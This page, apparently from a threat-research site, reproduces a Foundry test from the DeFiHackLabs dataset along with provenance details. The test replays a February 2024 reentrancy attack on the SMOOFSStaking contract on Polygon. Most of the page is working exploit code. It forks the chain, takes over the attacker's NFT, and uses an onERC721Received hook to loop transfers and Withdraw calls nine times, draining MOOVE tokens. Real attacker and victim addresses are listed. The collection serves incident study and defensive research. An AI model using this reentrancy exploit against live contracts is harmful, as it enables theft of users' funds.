Public reproduction file
src/test/2024-02/SMOOFSStaking_exp.sol
Public reproduction file for dataset entry SMOOFSStaking.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : Unclear8// Attacker : https://polygonscan.com/address/0x149b268b8b8101e2b5df84a601327484cb43221c9// Attack Contract : https://polygonscan.com/address/0x367120bf791cc03f040e2574aea0ca7790d3d2e510// Vuln Contract : https://polygonscan.com/address/0x9d6cb01fb91f8c6616e822cf90a4b3d8eb0569c611// One of the attack txs : https://app.blocksec.com/explorer/tx/polygon/0xde51af983193b1be3844934b2937a76c19610ddefcdd3ffcf127db3e68749a5013// @Analysis14// https://twitter.com/AnciliaInc/status/176289356310342878317interface ISMOOFSStaking {18 function Stake(19 uint256 _tokenId20 ) external;22 function Withdraw(uint256 _tokenId, bool forceWithTax) external;23}25contract ContractTest is Test {26 ISMOOFSStaking private constant SMOOFSStaking = ISMOOFSStaking(0x757C2d1Ef0942F7a1B9FC1E618Aea3a6F3441A3C);27 IERC721 private constant Smoofs = IERC721(0x551eC76C9fbb4F705F6b0114d1B79bb154747D38);28 IERC20 private constant MOOVE = IERC20(0xdb6dAe4B87Be1289715c08385A6Fc1A3D970B09d);29 address private constant attackContract = 0x367120bf791cC03F040E2574AeA0ca7790D3D2E5;30 uint256 private constant smoofsTokenId = 2062;31 uint256 setCount;33 function setUp() public {34 vm.createSelectFork("polygon", 54_056_707);35 vm.label(address(SMOOFSStaking), "SMOOFSStaking");36 vm.label(address(Smoofs), "Smoofs");37 vm.label(address(MOOVE), "MOOVE");38 vm.label(attackContract, "attackContract");39 }41 function testExploit() public {42 // For the purpose of this poc transfer Smoofs NFT token from original attack contract43 vm.prank(attackContract);44 Smoofs.transferFrom(attackContract, address(this), smoofsTokenId);45 Smoofs.approve(address(SMOOFSStaking), smoofsTokenId);47 // Set initial MOOVE token balance of this contract before attack48 deal(address(MOOVE), address(this), MOOVE.balanceOf(attackContract));49 MOOVE.approve(address(SMOOFSStaking), type(uint256).max);51 emit log_named_decimal_uint(52 "Attacker MOOVE balance before exploit", MOOVE.balanceOf(address(this)), MOOVE.decimals()53 );54 // In my case call to Stake() take some time when I ran POC for the first time.55 SMOOFSStaking.Stake(smoofsTokenId);56 SMOOFSStaking.Withdraw(smoofsTokenId, true);58 emit log_named_decimal_uint(59 "Attacker MOOVE balance after exploit", MOOVE.balanceOf(address(this)), MOOVE.decimals()60 );61 }63 function onERC721Received(64 address operator,65 address from,66 uint256 tokenId,67 bytes calldata data68 ) external returns (bytes4) {69 while (setCount < 9) {70 ++setCount;71 Smoofs.safeTransferFrom(address(this), address(SMOOFSStaking), smoofsTokenId);72 SMOOFSStaking.Withdraw(smoofsTokenId, true);73 }74 return this.onERC721Received.selector;75 }76}Analysis
Dataset entry
Public Foundry test for “SMOOFSStaking” (2024-02-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
- src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
- src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
- src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
- src/test/2024-02/PANDORA_exp.solSame month in the dataset · 48 lines
- src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x149b268b8b8101e2b5df84a601327484cb43221c
- Attack Contract
0x367120bf791cc03f040e2574aea0ca7790d3d2e5
- Explorer: https://polygonscan.com/address/0x149b268b8b8101e2b5df84a601327484cb43221c
- Explorer: https://polygonscan.com/address/0x367120bf791cc03f040e2574aea0ca7790d3d2e5
- Explorer: https://polygonscan.com/address/0x9d6cb01fb91f8c6616e822cf90a4b3d8eb0569c6
- Reference: https://twitter.com/AnciliaInc/status/1762893563103428783
File record
- Name
- SMOOFSStaking
- Path
- src/test/2024-02/SMOOFSStaking_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9b368840424314bf0fe7e7e63ff9fd73c392e201
- Language
- Solidity
- Size
- 77 lines
- Date
- 2024-02-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/SMOOFSStaking_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9b368840424314bf0fe7e7e63ff9fd73c392e201, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.